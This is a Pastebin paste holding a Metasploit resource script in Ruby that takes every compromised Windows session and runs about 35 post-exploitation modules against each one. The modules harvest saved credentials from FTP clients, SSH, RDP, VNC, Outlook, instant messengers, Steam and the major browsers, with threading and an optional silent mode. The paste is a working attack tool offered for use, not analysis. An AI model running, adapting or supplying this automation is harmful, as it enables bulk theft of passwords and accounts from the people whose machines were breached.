Advertisement
Guest User

UserDataGatherRC

a guest
Jan 30th, 2013
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <ruby>
  2. #find some windows sessions
  3. sessions = [framework.datastore['POST_SESSIONS']].flatten.map {|n| [n,framework.sessions[n.to_i]]}
  4. sessions = sessions.compact.empty? ? framework.sessions.find_all {|s| s[1].platform =~ /win/i} : sessions
  5.  
  6.  
  7. user_mods = [
  8. "post/multi/gather/dropbox",
  9. "post/multi/gather/filezilla_client_cred",
  10. "post/multi/gather/pidgin_cred",
  11. "post/multi/gather/ssh_creds",
  12. "post/multi/gather/thunderbird_creds",
  13. "post/windows/gather/credentials/bulletproof_ftp",
  14. "post/windows/gather/credentials/coreftp",
  15. "post/windows/gather/credentials/dyndns",
  16. "post/windows/gather/credentials/enum_picasa_pwds",
  17. "post/windows/gather/credentials/filezilla_server",
  18. "post/windows/gather/credentials/flashfxp",
  19. "post/windows/gather/credentials/ftpnavigator",
  20. "post/windows/gather/credentials/ftpx",
  21. "post/windows/gather/credentials/imail",
  22. "post/windows/gather/credentials/imvu",
  23. "post/windows/gather/credentials/meebo",
  24. "post/windows/gather/credentials/mremote",
  25. "post/windows/gather/credentials/nimbuzz",
  26. "post/windows/gather/credentials/razer_synapse",
  27. "post/windows/gather/credentials/rdp",
  28. "post/windows/gather/credentials/smartftp",
  29. "post/windows/gather/credentials/spark_im",
  30. "post/windows/gather/credentials/steam",
  31. "post/windows/gather/credentials/tortoisesvn",
  32. "post/windows/gather/credentials/total_commander",
  33. "post/windows/gather/credentials/trillian",
  34. "post/windows/gather/credentials/vnc",
  35. "post/windows/gather/credentials/windows_autologin",
  36. "post/windows/gather/credentials/winscp",
  37. "post/windows/gather/credentials/wsftp_client",
  38. "post/windows/gather/credentials/outlook",
  39. "post/multi/gather/firefox_creds",
  40. "post/windows/gather/enum_ie",
  41. "post/windows/gather/enum_chrome",
  42. ]
  43.  
  44. #run each mod against its sessions
  45. def run_post_mods(modules,sessions,max_threads=5)
  46.   threads = {}
  47.   print_status(sessions)
  48.   modules.each do |umod|
  49.     mod = framework.modules.create(umod)
  50.     sessions.each do |session|
  51.       mod.datastore['SESSION'] = session.first.to_s #framework.sessions.find {|s| s.last == session}.first
  52.       threads[session[0]] ||=[]
  53.       threads[session[0]] << Thread.new(mod) do |p|
  54.         # p.datastore['SESSION'] = session[0]
  55.         vprint_status("Prepped #{p.name} against #{session.last.sock.peerinfo} in session #{p.datastore['SESSION']}") if p.validate
  56.         p.datastore['ShowProgress'] = false if framework.datastore["RUN_SILENT"] == 'true'
  57.         # Put this run on hold while we go through existing modules in this session
  58.         while (threads[session[0]].map(&:alive?).count >= max_threads ) do
  59.           vprint_error("Awaiting runspace on #{session[1].sock.peerinfo}")
  60.          ::IO.select(nil, nil, nil, 10.0)
  61.         end
  62.         vprint_good("Running #{p.name} against #{session[1].sock.peerinfo} in session #{p.datastore['SESSION']}") if p.validate
  63.         p.run if p.validate
  64.         print_good("#{p.name} on #{session[1].sock.peerinfo} complete")
  65.       end
  66.       ::IO.select(nil, nil, nil, 0.2)
  67.     end
  68.   end
  69. end
  70.  
  71. run_post_mods(user_mods,sessions,5)
  72.  
  73.  
  74. </ruby>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement